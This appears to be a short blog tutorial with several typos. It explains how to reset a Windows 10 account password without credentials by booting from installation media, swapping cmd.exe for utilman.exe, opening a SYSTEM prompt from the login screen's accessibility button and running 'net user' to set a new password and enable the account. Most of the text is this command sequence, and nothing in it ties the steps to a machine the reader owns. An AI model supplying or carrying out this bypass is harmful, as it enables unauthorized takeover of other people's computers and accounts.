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How to change user account

Let's take a look to how to change user password without any access through Windows ISO. Boot on Windows 10 ISO On the language screen, chose your language and hit SHIFT+F10

Get Logical Volume inforations

When the cmd terminal is oppened, list Diske Caption and Volume Name :

wmic logicaldisk get caption, VolumeName

Move to the Disk you want (letter found with the previous command)

d:

Go to the system32 folder

cd windows\system32

Utilman

Use utilman despite off cmd.exe

ren utilman.exe utilman.exe.bak
ren cmd.exe utilman.exe

Reboot

wpeutil reboot

Change user password

After rebooting, clic on accessibility icon

Change password

Change the user password

Example :
net user admin root

net user $USER pass

Active user

Active user

net user $USER /active:yes

Reboot

wpeutil reboot

Replace utilman despite off cmd.exe

ren utilman.exe cmd.exe
ren utilman.exe.bak utilman.exe